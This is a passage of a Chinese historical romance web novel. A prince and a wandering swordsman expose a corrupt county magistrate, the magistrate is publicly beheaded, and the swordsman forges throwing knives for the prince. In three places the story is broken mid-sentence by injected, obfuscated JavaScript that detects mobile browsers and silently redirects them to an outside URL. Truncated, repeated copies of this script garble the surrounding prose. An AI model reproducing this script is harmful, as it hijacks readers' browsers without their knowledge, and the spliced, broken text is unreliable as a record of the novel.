“亓兄,可是要邀本王夜饮赏月。”赵靖起身,拢拢衣袖,正准备吩咐忘言去喊人布置,自敲打一番姜楹后,这院中已无刘府下人。 “路过。” “嗯?”赵靖挑了挑眉,谁惹了这人,“本王却有事找你。” 顺着亓骁云的视线,赵靖看向乐呵着盘算账目的罗里里,又念及自己刻意让人传的闲言碎语。不会吧?断袖大侠已然听见并且醋上了? 赵靖心里悄声漫上得意,要亓骁云为自己牵动思绪简直易如反掌。得意之下,悄然生长的欢欣却无人察觉。 赵靖嘴角的笑容慢慢淡了下去,换了副神情凝眉看着亓骁云。 “也罢,夜深露重,亓兄早些歇息才是。本王可另寻他人。” 亓骁云沉默了片刻,他知赵靖在等他问,“靖王可有所托?寻仇?发赏?” “唉非也非也,此事,事关重大。”赵靖似乎觉得言语说明颇费功夫,便缓步走到亓骁云身侧,长臂一伸,揽着亓骁云臂膀把人往里间带。 他也不顾亓骁云动作的凝滞,连拉带推,甚至假装不经意捏了一把结实的肌肉。不错,留在自己身边,可比烟柳地那些花架子强多了。 “殿下——”罗里里拖长了调子,眼珠子滴溜溜在两人之间转了个来回,“小的这就告退?” 亓骁云回头睨了一眼。 “赶紧滚。”赵靖头也不回。这个江湖人,看似洒脱不羁,实则心思比谁都敏感活络。赵靖思忖既然自己以后用得上他,如此,现下稍稍给些甜头也无妨。断袖么,也无不可,使唤起来得心应手便是。 “他可还活着。” 藏青肩上还挎着个半旧的药箱,闻讯才从自己肩上抬起头,边摆手边哈欠,他在打瞌睡,这几日昼夜不分在替郊外流民义诊。 有个跋山涉水的小乞儿,冻疮都破裂流血干掉又结了痂,即使这样他也一直在替藏青打下手。 “回王爷。”藏青声音低缓,字字清晰,颇像行医了数十年的老大夫,“此人额角有一块铜钱大小的淤肿,按之微硬。当是撞击致使头骨受震,经络阻滞,气血逆乱,故昏迷不醒偶见呕吐抽搐。” 赵靖松开手,改搂为攀,勾着亓骁云肩膀倚在人家身上。身量相当,靠着甚是妥帖。 “可治得?” “治得。但至少需七日,且头三日不可挪动,草民以震治震,在此人枕骨及顶骨处施以微震,引气归经,再以针刺神庭与百会,佐以通窍醒神散灌服。若他能神志清明些,后续调理便有八九分把握。” 塞外却有震脑之术流传,据说专治坠马昏厥。这小小的县城游医倒也见多识广。 实则藏青所历城乡不过百里,他一身医术全是师傅倾囊所授。 “亓兄友人果然也是能人异士。”略微侧头低声语,感受到亓骁云愈发僵直的站姿,赵靖展颜一笑,竟是个有贼心没贼胆的,“此子便有劳医师。不过太慢了,三日后他定要睁眼识人,张口能言。” 藏青不敢托辞,只道药石可治,但全看此人意志。 “你醒了,家仇可报。醒不过来,不若今夜就咽气,本王可没有耐心候着你。” 少年眉头微微一蹙,呼吸也急了,娘亲的头颅如何滚落脚边,他至死都不会忘。 赵靖瞧见了少年人的挣扎也不在意,他拍了拍亓骁云的肩膀,“好了,夜已深,都回去歇息吧。” 众人告辞,亓骁云却动弹不得,“你留下,本王有事相商。” 直到闲杂人等皆退下,赵靖才自己站直身,观其神色,不似要讲闲情话逸致。 赵靖见阮方竹与藏青亦步亦趋,他便明了此女已心有所属,强硬手段怕是难行了,借此次肃清勾连贪墨一事,给阮家留个良善印象才是。 “今宵同本王睡一道可好?” 语出惊人,亓骁云瞳孔都睁圆了。这,这,这如何使得。 “本王与你志趣相投,大可把酒论剑直至夜深,同榻抵足而卧,如何?” “……可有黄泉酿。” “跟着本王,往后多得是。” 赵靖头回觉得眼前人的呆愣也憨态可掬,他自顾自的说,似在询问,实则已然指挥忘言喊人抱被拿枕,他要睡到左边的耳房去。 把这少年抬下轿时,他气息微弱,担心他真嘎嘣一下就归西,赵靖当时揪起在啃辣子馕的藏青就往自己屋里送。如今赵靖的床被霸占,人又移不得,他便盯上了亓骁云。 亓骁云闻起来就很干净舒服,与他同榻也无妨。 喝的什么酒,论的什么剑,都没给亓骁云留下多少印象,他只知此前还觉甚是宽大的床铺,如今却局促得很。 亓骁云整个人贴在了床沿,两人之间如隔银河。他觉得,身侧之人的呼吸声太吵了,听得他心悸,自己怎么一时脑热允许断袖,还是一个喜欢自己的断袖同榻而眠。 当真是,美色乱人。 方才只来得及同藏青颌首打声招呼,早知该请他替自己把把脉,开些凝神守神的汤药喝喝才是。 借着渗进来的姣姣月色,赵靖明目张胆地打量亓骁云。额阔眉长,眼睫因在装睡而轻颤,鼻梁高挺不瘦削,唇珠还算饱满,下唇要厚一些……真是奇怪,此人打眼望去平平无奇,如今倒是愈发耐看了。 “亓骁云,你可知济水若决堤,那便是尸骨无存的人间炼狱。”赵靖话音刚落,便对上了亓骁云明亮的眼睛。 中都令出千里,却难料狼子野心。从虚报冒领朝廷拨款,到勒折索贿榨取士绅鱼肉百姓,再到珍宝仿品迎来送往官官相护,赵靖毫无保留,尽数说与亓骁云。 “……个中利益盘根错节,势力不容小觑。我欲斩蠹吏硕鼠于刀下,你可愿相助?” 原那几分心猿意马渐渐息了,亓骁云神色凛然,眸中只余清明。 “愿效犬马。” 要除去那些视百姓性命如儿戏的蛀虫,亓骁云答应得毫不犹豫,他一介江湖客行侠仗义乃分内之事,更何况赵靖所言,桩桩件件皆关乎黎民疾苦。 潜入县丞府邸活抓辛闱,这也并非什么难事。 “事不宜迟,我快去快回。”趁着夜色,说罢亓骁云掀被就要起身,为免惊动他人,他还打算跳窗攀墙。 才撑起手肘,人就被赵靖抓着腰带勾回床榻。 “你孤身前往,本王不放心。还是明日遣一暗卫,好替你把风。” “悉听尊便。”腰间系带时不时传来拉扯感,赵靖怎么还不放手。亓骁云腹诽早知方才多喝几大碗黄酒,好过现在毫无困意。 也不知赵靖何时注意到亓骁云用酒盏不痛快,此次夜饮他替亓骁云准备的是云纹高足玉碗,豪饮起来酣畅淋漓,暖意自腹间蔓延。 倒是亓骁云,反而在斯文细抿。原因无他,只怕同床共枕人不清醒自己清白有损。 赵靖盖着自己的锦被,密不透风,只有一根旁人的衣带,越过被铺,被他绕在指尖把玩。 “亓兄,早些时辰站在本王屋前受冷风是何故?可别说你在临风赏月。” “……”好想来一剂安眠药,亓骁云心想要是自己说对你的脸有莫大的兴趣,还曾误以为是良缘佳人,你还不得顺势拆我腰带,好行不轨。 果然,留在断袖王爷身边,贪图美色,还是有风险的。 “可是以为本王是个亵玩倡妓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281198|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欺男霸女的纨绔?” 赵靖嘴角微微上扬,这断袖,心思也不藏着掖着些。那时忘言甫一打开门,赵靖就看见了亓骁云如初见时那般带着幽怨的眼神,他故意与罗里里玩闹一番,亓骁云悄悄咬牙的小动作他看的一清二楚。 “我只是在想别的事。”亓骁云听着,只觉赵靖欲盖弥彰。 “随你,只是本王并非断袖,要是传出去什么捕风抓影的流言,怕是要影响本王迎娶未来贤妻。”赵靖要澄清自己不喜男子。 “哦。”亓骁云暗忖你娶与不娶,与他何干,他也是要娶妻成家的。 “本王倒不是对男子相恋存有偏见,昔日安陵与龙阳,携手等欢爱……”不忍中伤亓骁云一片情义,赵靖试图找补。 “靖王胸怀宽广,在下佩服。” 此等话语,在亓骁云耳里与暗示欢好无异,他立马坐起抱拳以礼,借机抽回那截皱巴巴的衣带。 从上而下,俯看赵靖,他的脸当真生得极好,眉目清隽,肤如凝脂,亓骁云又觉胸腔异动。 若赵靖不是男子,莫说是皇室中人,就算是天上谪仙,亓骁云想自己定会主动表露心迹,倾其所有只为良人。可惜,造化弄人。不该越过的雷池,亓骁云告诫自己不要靠近,远远观望几眼已然足够。 手里空荡荡,赵靖摩挲着掌心。自己已然说得如此直白,想来亓骁云也该懂得分寸,不要成日肖想自己。他是真的不愿伤了亓骁云的心,毕竟以后常在身边的人,总不能先生了嫌隙。 月落星沉,一夜将尽。 亓骁云与忘言指来的暗卫同行,悄然潜入了辛闱府邸,敲晕,喂毒,搜身,转眼就把人捆绑带走,“请”到了赵靖面前。 醒来得知靖王意图,辛闱不惊不惧,反而放声大笑,笑出浊泪。隐忍这些年,终于,终于叫他等来了能除去毒瘤的机会。 辛闱直言,陶承允与各州县官员的往来书信、账册副本,还有那六家大户被迫捐输的字据,他都有抄录备份。只是那河工款的明细,涉及层层克扣,还需些时日才能完全厘清。不过都不打紧,他会寻由头拿得官印,不论真假,红章一盖便是罪证。 赵靖端起茶盏,以盏盖刮了刮浮沫,却没喝。他点头赞许辛闱,如此上道倒省了他一番口舌。 “竖贼何时收过哪家商户的冰敬炭敬,何时在漕粮里掺过沙子,这些罪状都给本王细细罗列。不必整理成罪状,只需日后,张榜于大街小巷。”赵靖要给此地百姓吃一颗定心丸,朝廷中人并非与那群蠹虫一丘之貉。 “卑职明白,谢王爷青天之恩。”辛闱伏地叩首,额头碰到冰凉的砖面,久久才起。 雄鸡唱白,暗卫又悄无声息把辛闱送回他的府邸。 赵靖只披了兔毛大氅,人一走他便昏昏欲睡。 亓骁云要去院中练武,又道巳时要去打铁铺上工,约莫酉时回,不必等他一起用膳。他说完不见回应,一抬眸,赵靖已经枕着自己手臂睡起了回笼觉。 天寒,这般歇息可不行。 忘言正欲把自家小祖宗挪回床榻,此时窗台落下一只呆头呆脑的灰木鸟,中都来信。他耽搁分神一会的功夫,亓骁云就已经把赵靖稳稳当当抱起,将人轻柔地置于床榻,触及被中冰冷,又寻了个两个汤婆子,一个暖手一个暖脚,而后仔细掖好被角。 忘言沉默看着,忽然和亓骁云对上视线。 亓骁云连声轻咳,拇指正无意识地蹭着指环内侧,话到嘴边想说些什么,又看着酣眠的赵靖咽了回去。 坏事了,小祖宗翻了个身,嘴角是翘着的,忘言可都瞧见了。 长枪破空,院中响起猎猎风声,发出嘶鸣。 10. 当斩则斩 “吾弟如晤,天寒添衣,保重身体,年关将至,盼早归,兄手书。”赵靖边吃早点边念信,心中熨帖,“离新春佳节还远着呢,我哥就是想我了。” 他又道这羊肉烧卖竟能做出鲜甜滋味,叫刘府把厨子遣去中都,宫中尚食司该换换菜色了。 安平州贪墨勾连,赵靖自知难凭一己之力连根拔除,可灭其嚣张气焰,打破望山县这个循环洗白银钱的口子,还是不成问题。 “他又去打铁?” “嗯。主子,已经派人跟着了。” 赵靖点点头,罗里里被他打发去监视城内异动,一旦那找亓骁云寻仇的来了,拖住其些时辰,而后即刻禀报。 刘澹予也被派了活,让其备马,寻一好日郊外走马弋猎。这对刘澹予而言简直是份美差事,接了命令乐呵屁颠着风风火火地去马庄了。姜楹替他系好棉帽,叮嘱许久才目送他出门。 靖王带回来的林澈,他家曾经欺侮过刘家,姜楹自认略微施压回去天经地义,哪知竟全是硬骨头,惹恼了她,她便不管手底下人如何行事。 因着陶承允这个成事不足败事有余的货色,林澈如今攀上了靖王,他可要醒不过来才好。姜楹脸上浮现阴霾,靖王她万万不敢动,但寻机会往自家药炉里动些手脚,还是轻而易举。 今日不下雪不起风,赵靖也在院中练起剑,忘言陪着他过家家。 对外则成了,靖王沉迷美色,自打抱了小倌回去便足不出户,好不快活。流言蜚语就如野草般疯长,不过半日便传得有鼻子有眼。 “嗬,都是一样的烂人。”铁老陈啐了一口唾沫,满脸不屑。 嘡——铛——嗤—— 亓骁云将千锤百炼的飞刀浸入水中,一共三把,还需开刃打磨。那玄铁实在质杂,亓骁云如今有些肉疼那一两银子,好在是做善事。他一脚踩在凳沿上,一脚蹬着地,端起一个豁口大碗喝水,咕咚咕咚,喉结上下滚动。 “你也是老了,久在市野,人家说啥比便信啥。” 亓骁云为赵靖鸣不平,明明是好心救人,竟被污名至此,也就赵靖为人和善,换做别的官老爷早就要派人抓拿谣传恶徒,打数十板子都是轻的。他也是在替铁老陈着想,自己身后可是日日有赵靖的狐狸尾巴。 “别听信三言两语,尤其污言秽语,便定论他人。” “哼,我看你才是近墨者黑,少跟那些个富贵子弟打交道。江湖人!就要有江湖人的样子!”铁老陈那叫一个痛心疾首,此子看上世家公子便罢,如今竟然还替那些不事农桑却遍身罗绮的人说上话了。 “人人都想当官,那得跪着吧?我这膝盖,跪天跪地跪父母,不跪活人。”铁老陈仍在义愤填膺,也不知他旧时到底吃了多少官府的亏。 亓骁云不接话,他顺手给看门黑狗的水碗敲碎浮冰,添些热水。 狗子呜呜,尾巴甩得起风。 江湖人该是什么样子?四海为家?浪迹天涯?潇洒人间?不不,亓骁云觉得若一辈子都这般孤家寡人,那也太可怜了。有自己的小家,才是他心之所向。入仕?那是读书人的玩意。 铁匠铺外熙熙攘攘的人群,有挑着担子叫卖的货郎,有牵着孩子添置冬衣的妇人,还有围在糖画摊前眼馋的稚童,这人间袅袅烟火气,都让他生出留恋。 来日娶妻生子,再回娘亲坟前告诉她儿子也有了归宿,那才是此生圆满。 至于……赵靖,他自有他的阳关道,假使以后还见面,能共饮几杯,已然足够…… 雪落在瓦上,沙沙的,像春蚕啃桑叶。 林澈睁眼的时候眼前一片白光,缓了许久才能模糊视物。他顾不得头痛欲裂,挣扎着就要起身。 “别乱动。”歇在外间榻上的藏青听到动静,按住他手腕把脉。 “恩人——”林澈当即就要跪下。 藏青侧身躲开,“救你的是靖王。”脉象浮而涩,左关独弦,右寸虚豁,他愁眉不展。 煎完药顺道来给藏青送早食的阮方竹,一进门便赶忙放下东西去扶人。 林澈醒来不久,懵懵地喝下汤药,吃了肉糜粥。 收拾药碗的藏青忽然动作一顿,他端起那碗剩下一口的药渣,凑到鼻端,闻了闻,眉头越皱越紧。 阮方竹察觉不对:“怎么了?” 藏青没说话,用指尖沾了一点药渣,放进嘴里,然后他的脸色彻底沉了下来。 “这药,”他声音压得很低,“被人动过。喝上几日,林澈就算侥幸醒了,也记不清事,说不明白话。” 阮方竹的笑意僵在脸上,她下意识看向后院的方向,姜楹主动寻了婢女替她分担采买药材的活计。 听闻林澈苏醒,赵靖特来听听人证证词。可他进门便察觉氛围不对。 “怎么?” 藏青把那碗药渣递过去,“有人不想让这少年说话。” 赵靖沉默了一瞬,然后他笑了,怎的还有人上赶着送死。他看向神情激动的林澈,“本王在此,你有何冤屈?” “求靖王做主!我家,我全家为奸人所害,对外说是山匪猖獗,可望山县哪来那么多手持刀兵的山匪!分明是陶承允那厮受赇枉法!假借摊派之名,实为勒索敛财,我林家,岁岁年年,交足朝堂税银,安分行事,为那商号甚至给此獠的孝敬也不少。” 林澈早已泣不成声,几度哽咽,说到愤恨处死死掐住自己掌心逼迫自己说下去。 “不过是不愿过分巴结,竟被满城豺狼生生嚼掉血肉,莫须有的罪名套在头上,全府老少,累世家财,一夜皆尽!” 他扑通一声跪在地上,膝盖砸在青砖上发出沉闷响声,林澈朝着赵靖磕头,额角未干的药渍很快就渗出血迹。 “求靖王明察!林澈对天起誓,所言一字不假!我愿意为奴为俾,当牛做马,做什么都可以,只要还林家满门冤魂一个公道!” 赵靖让忘言上前扶起他,沉声道:“磕头无用,你若归西,本王可就没了人证。” 林澈泪眼婆娑,重重地点了点头。 藏青终于忍不住了,从针囊中抽出一根银针,在烛火上微微一燎,手起针落,已然刺入林澈眉心印堂穴,又捻转了一下手腕处的内关穴。 片刻间,林澈原本紧绷抽搐的肢体竟渐渐松弛下来,牙关也不咬得那么紧了。阮方竹取来毯子,覆在林澈身上。这孩子年岁瞧着轻,约莫十二三,遭此变故可怜可叹。 好医术,赵靖神情微动,把藏青经验老到的熟稔动作看在眼里。 “郎中医术独到,敢问家师是?可曾识得神医不系?” “……靖王谬赞。”藏青笔尖一顿,师傅说过他人报其名号多半是要寻仇的,可师傅都死了,他不想牵扯旧事,“我游医一个,曾入过医馆当学徒而已,至于神医,闻所未闻。” “也罢。能走吗?” 林澈一愣,拼命点头:“能!” 赵靖点点头转身跨过门槛,林澈已然踉跄着跟了上去。藏青叹气,果然,病人还是不说话不动弹时最好治,他落笔再添一味药材。 县衙大门敞着。 门口的差役本能浑水摸鱼,可这一两天陶大人和转性了一样,日日准时点卯,候在县衙里如坐针毡,活似那些个头悬铡刀的死囚。 差役见一队人马来势汹汹,正要喝问,看清忘言后便知轿中何人。 “靖、靖王殿下大驾光……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281199|198359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “叫陶承允滚出来。”赵靖有意要在大街上闹出动静。 后衙,陶承允听闻消息已知大难临头,他喊住辛闱,“念我待你不薄,日后替我照拂妻儿。” “定当尽力。”尽力送他们与你相见,辛闱垂首,掩去唇边冷笑。 陶承允对着镜子整了整官服,他大步流星往前堂走,心里盘算着,靖王再如何跋扈,也总要按法度条列行事,即使秋后问斩亦有回转余地。 “不知靖王尊驾,下官这就迎殿下进衙门议事。” “陶承允,本王问你几件事。”赵靖开口,声音不高,但围观的每一个人都听得清清楚楚。 陶承允下意识往后退了半步:“殿下请讲。” “第一,朝堂定的商税是二十税一。你这望山县,收的是多少?如此重税,库房颇丰又为何克扣阵亡将士抚恤?” 有人大骂狗官,场面开始嘈杂。陶承允的脸白了一瞬,嗫嚅着要辩白。 赵靖没给他说话的机会,“第二,节庆捐、丰稔银、河工捐诸多名目,朝堂可曾下过文书?” 陶承允的嘴唇开始抖,张口无声。百姓已然群情高涨,唾沫星子都快要淹死人,全县衙的差役都在维持秩序。 “第三,”赵靖看了一眼身后的林澈,林澈凄厉责问,“林家三十七口,死于山匪。你报给州府的卷宗里,可曾提过林家给你送过多少孝敬?陶承允,你该死!你该千刀万剐!” 陶承允扑通一声跪下,“殿、殿下明鉴!下官都是按规矩办事,那些捐输,都是他们自愿的!林家的事,确有山匪——” “山匪。”赵靖重复了一遍这个词,“我大昭国富民强,何来山匪成患?” 赵靖睥睨着跪在地上的陶承允,脸上挂上了很淡的笑容,淡得几乎看不出来,但陶承允的后背瞬间被冷汗浸透。 “县丞何在?” “辛闱在。”冷眼旁观了许久,辛闱双手呈上布包,“此乃县衙账本,请殿下过目。” 赵靖接过,扔在浑身发抖的陶承允面前。 “陶大人,你自己看看。哪一笔是你该拿的,哪一笔是你不该拿的,圈出来。圈不完的,本王替你圈。” “殿下!”陶承允猛地抬起头,“下官冤枉!辛闱素来与下官不睦,他定是栽赃陷害!” “林家小子也是栽赃吗!”群众中有人高声喊道。 “我不是栽赃!我家姐姐就是被这狗官害的!” “狗贼!你害我爹活活饿死!” 众人声讨不止,他们脸上有愤怒,有委屈,有这么多年无处可诉的苦。人们开始往县衙门口扔烂菜叶和石子,陶承允抱头躲避,官帽被打歪,狼狈不堪地趴在地上,哪还有半分县太爷的威风。 混乱之中,还有身材矮小的老汉抓住时机,把自己的萝卜往赵靖手里一塞。 “干净的。”他说,“没沾泥。” 然后老汉转身挤进人群,不见了。赵靖低头看着那根萝卜。普普通通的白萝卜,还带着叶子,他收下了。 赵靖抬手,忘言会意,一声清喝让喧闹暂歇。 “违制,擅征,杀人。陶承允,按律本王应将你收押问审,待圣上定夺再行处斩。”话语稍顿的功夫,陶承允脸上已不灰白,可赵靖话锋一转,“可本王不愿等。” 林澈拔出长刀,爆发出非他该有的力气,刀起头落。 陶承允咕噜滚动时,看见了自己翕合的喉管,他好像是在高兴能绝处逢生。 “好!”百姓之声如山呼雷鸣。 亓骁云在屋檐上,一直看着赵靖。他忽然很想跟在赵靖身边,当个护卫,离赵靖近些,此时便能替赵靖拭去衣摆溅上的污血了。 11. 习惯同榻 一人伏诛只是开始,赵靖知要连根拔起,还需顺藤摸瓜,知县、知州,其上应当还有靠山。他命人将陶承允的尸首悬于城门前示众三日,又令辛闱暂代县务。 “下官虽非主谋,可当刽子手的……” “那你先活着赎罪,细细登记每家每户被克扣的税款,将士亲属该拿到的抚恤银,原是国库之财便报送中都,诸如此类,事了后你爱去自首便去,朝堂自有律法处置。” 赵靖将那根白萝卜递给忘言,“找个花瓶养着。” 辛闱鼻酸,欲行大礼,被赶。遂在街上放声大笑,笑到涕泪横流。 风刮过屋檐,吹下一缕雪末,细细的,凉凉的,若是恰巧落在脖颈里,保准激得人一哆嗦。好冷啊,冷得神清气爽。 亓骁云下工回府,他还未绕过影壁,便听得有脚步声冲自己而来。 “看招!” 话音未落,赵靖的剑已如一道流光刺来,速度之快,远超亓骁云的预料。亓骁云不敢怠慢,横枪格挡,铛声脆响。赵靖的剑招看似绵软,实则暗藏劲力,每一击都带着巧劲,逼得亓骁云不得不全神贯注应对。 赵靖的武功路数诡谲多变,时而凌厉如鹰,时而柔韧如柳,两人在院中你来我往,枪影剑势交织,竟斗了个难分难解。 以上激烈过招,全是赵靖自己以为的场景。 实则除却进门时稍作愣神,抬枪格挡的动作慢了些许,亓骁云便在无声放水。忘言大可不必在一旁挤眉弄眼,他自会收着力道,等赵靖变招落下,再假装意料之外,慢半刻抬手架住。 赵靖那剑招看着花哨,实则破绽百出,若真论起来,亓骁云长枪一挑便能卸了他的剑。可他不想,对上赵靖含笑的眼眸便没有缘由,装傻示弱也觉颇有乐趣,即使费神闪躲比大开大合打一场更累得气喘。 “亓兄果然好身手!”赵靖剑尖斜指地面,挽了个剑花,摆出起手式,“此前见你与忘言过招时,便心痒难耐,早就想讨教一二。” “不敢当。”亓骁云喉间滚出声声爽朗的笑,赵靖脸颊也浮起浅浅的梨涡。 枝上的雪簌簌地落,像白糖,满地甜霜。 亓骁云利落收枪入匣,那动作,赵靖只觉器宇轩昂,观之心潮澎湃。赵靖心里冒出一道声音,带他回中都。 此时宫中,赵珩送走太尉,案上河图未收,他要常岳历在紧要地训一批河兵,钉桩、卷埽、填袋、看水、抢险都要熟悉。防汛利民,越早部署越好。只是所需的银钱,又要头疼一番了。 药童把香熄了,从骨子里透出来的寒气侵染赵珩,他要早做打算。 赵珩哈了一口气,白雾在眼前成一团,又散了。天地间就剩他一个人孑孑独立,和这满地的白。 赵昀是皇后所出,钟灵毓秀。想起儿子,赵珩笑笑,今日太傅还夸了这小子。 “这雪真好。”赵珩声音轻得像一片雪花落在另一片雪花上。 中都,丞相府。 冷,冷得连狗都不愿意叫。雪光映着窗纸,屋里不用点灯也能看清五指。 周衍手里挽着一柄空弓,檀木胎,牛筋弦,他拇指扣着的地方空无一物,臂膀却绷着十足的力道,无形的箭羽,引而未发。 梁柱暗处跪了一人,密探禀报赵靖似已发现望山县钱财流转的端倪,他有意与阮家亲近,还在招揽江湖人马。 “招揽人马。”周衍重复了一遍,嘴角似乎动了动,像是笑。周柔宫中的人递来书信,先是问安父母,道陛下愈发喜浓香,她忧心,又言靖王久久未归,陛下颇有微词。 周衍两鬓染霜。陛下啊,怎么还在对赵靖心软,纵他肆意妄为,不若老臣出手,替陛下,也替我的昀儿扫清些障碍。 丞相府里,周衍吩咐手底下人做事干净些,他暗忖陛下该紧着些,为社稷册立太子了。 密探得令,早已悄然消失。他周身儒雅温文,眼神落在虚空中的某一点,杀意俱现。 弓弦拉满,猝然松手,那无形的箭便消弭在风雪里。 利刃楔入树桩,刀柄尾端缀着的玄色穗子还在微微颤动。 “小小飞刀,可入靖王法眼?”亓骁云极其满意这次锻造的飞刀,窄似柳叶,通体乌青,又打磨得极好,刻上了血槽,脱手时无声,像一尾银鲤没入夜色。 最是满意的作品,他一完工便直奔回来,想送给赵靖。今日老汉送萝卜固然温情,可来日若是居心叵测之人近身,赵靖需得有些趁手的自保之物。 忘言拔刀时使了不小力气,他用指甲弹了一下刀身。 嗡—— 那声音不响,却绵长,颤颤的,在空气里荡开,经久不散。 “好刀。”忘言眼前一亮。 赵靖接过飞刀,爱不释手,“你费了多少功夫?” “不碍事,还余两把,待我磋磨完再赠与靖王。”言罢,亓骁云又忍不住凑过去,手指几乎要点上刀锋,“你看这刃,它不能太利,太利了进骨头卷口,也不能太钝,太钝了皮肉不吃。烈火淬三遍,回火两次,再捶打而成。” 赵靖头一回见亓骁云这般眉飞色舞,平日里他都是沉着情绪,眼下如此外露,眼眸亮得比月色晃晃。他那几分炫耀般的自得,像个在展示心爱玩具的孩子。赵靖不知道,自己根本没有在打量飞刀,而是盯着亓骁云眉眼漾出笑意。 “亓大侠,锻造功夫,出神入化。”忘言夸得真情实感,小祖宗这回倒是不大方了,还把飞刀挪得离他远了些。 “雕虫小技罢了。”亓骁云轻咳一声,直起腰摆手谦虚,他被忘言夸得有些不好意思。赵靖见他耳根微微泛红,笑意更甚。 “这刻痕又是什么?” “血槽,它是放血的。”亓骁云来了兴致,也顾不得赵靖贴着自己问,赵靖想占会便宜就占吧,“其实不止,开了槽,刀入体时空气进去,皮肉就不会吸住刀身。拔刀利落,杀人也利落。文雅些的,还管它叫笛窍,刀入骨血,风从槽里过,呜呜咽咽的,像吹笛子。” “嗯,真厉害。” “还有这,特意磨了花纹,汗手不滑,血手不粘。你若会用便缠在腕间,但容易伤到自己,还是藏在骨扇里万全些,来日我再给你打些别……的……” 亓骁云的目光撞了上去,撞进一双春水潋滟的眼睛里,话匣子一下卡壳。他想移开目光,却像被人勾住了,移不开。 月亮从云缝里钻出来,照得满院子亮堂堂。 赵靖想,自己一定要带亓骁云回中都,如此能人巧匠,错过了,便再难寻这般得力的属下了。况且时常逗弄一番这个藏不住心思的断袖,已然成了趣味。 “亓兄这利器,”赵靖指尖翻飞,“一把多少银两?” “卖与镖局十两不打折,若你钟意,直接拿去,不论金银。”亓骁云本来就是要送给赵靖的,分文不收。他忽然想起自己当初还想从这人身上赚一笔。现在倒好,钱没赚着,人快赔进去了。 “一百两一把。”赵靖嘴角挂着的笑更显眼,原来是特意送给自己的。见亓骁云急于回绝,他又道,“你送我的,自然不给钱。可往后,亓大侠造何物,本王都百两购入。” 亓骁云的喉结动了动,往后么。 “来日回了中都,本王在府中替亓大侠置个院子,砌炉搭架,要什么材料尽管说便是,不必再去什么打铁铺挥汗如雨。闲时,你爱喝酒喝酒,爱睡觉睡觉。中都四大名酒,总会有亓大侠所爱。” 亓骁云默然片刻,止住心湖涟漪,“好。我一介江湖草根,你别嫌我扰你清净就好。” 即便亓骁云有不知缘起的预感,若自己一直在赵靖身边,怕是此生都难讨媳妇了。但他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“漂亮哥哥,你等一等爹爹,他在劈柴火咧。”陈小花从门后探出脑袋,鼻尖还有糖霜,她圆圆的眼睛看着高大白马上的赵靖,不舍得眨眼,“爹爹!爹爹快来!” 铁老陈听闻女儿叫他,砍刀都不曾放下就冲到门口,一见赵靖,他揉揉陈小花脑袋,心中暗想以后女儿可别看上这种玉面狐狸,他说:“客官找亓骁云的吧,我去喊他。” 赵靖点头,他今日穿了件月白底妆花缎袍,外罩石青色的实地纱褂,出门前会特意挑一条与今日衣袍相配的抹额,用银线织出缠枝云纹。 云头卷得舒展,缠枝绕得风流。 不仅如此,替他更衣的忘言最是清楚,小祖宗看着随意,实则晨起时已经换过三套。 第一套领口绣纹太密,显得臃肿。第二套颜色太艳,不够雅致。第三套的袖口短了半寸,露出的中衣袖边不够齐整。直到这件上身,赵靖对着铜镜左右照了照,才微微颔首。 亓骁云从炭行拉回铁碳不久,正打磨飞刀。鹿顶骨、白矾、银母砂,研成末,这是铁老陈教的方子,原是磨镜面用的,虽慢上许多但能搓磨得更细致。 “亓小子,你相好找上门了。” 险些被划破指尖,亓骁云及时收力,瞪一眼铁老陈,“胡说八道,谁啊?” 铁老陈捡起木炭接着劈砍,他儿子陈小草今日不来帮工,在家里替娘亲照顾一个捡回来的小乞儿,取名陈小山。连年穗丰,多养一个不成问题。 亓骁云取了块棉布,细细裹好飞刀才出门。 赵靖在阳光下,抹额上的云纹随他动作闪着柔和的光,衬得赵靖面如冠玉。亓骁云想,早知道自己在井边洗把脸才出来好了。 “缺个帮手,亓大侠可愿相助?” 亓骁云拍了拍手上的灰,应声:“来。” 12. 相伴游街 赵靖出行身边只有忘言跟着,其余暗卫或乔装或隐匿,鲜少近身。 忘言多牵了一匹黑鬃骏马,马鞍是新换的,铺着柔软的鹿皮,显然是赵靖特意准备的。旁人打眼望去,不难发现三匹马里,有两匹十分相似。 亓骁云翻身上马,动作干脆利落,他与赵靖并辔而行,往最繁华的主街方向去。 市集热闹,叫卖声此起彼伏。赵靖勒马停在一处茶棚前,棚子支着褪色的青布,几根竹竿被雪压弯了杆,底下坐满了人。 热气腾腾的豆腐脑和大肉烧饼,在冬日早晨吃上一顿,身心舒畅。粗茶自取,店家与其弟分文不收,说要庆祝大家伙的喜事。 “这家好吃,你们尝尝?”亓骁云似乎心情极好,“咸汤浮圆子也不错,东家添了海菜虾皮做底,热汤一激满口生鲜。靖…赵公子,葱蒜可吃?” 赵靖一起床就捯饬自己,早膳不吃就出门寻人,现下饿了,他便点头示意忘言去点单。 亓骁云不肯,他要请客。 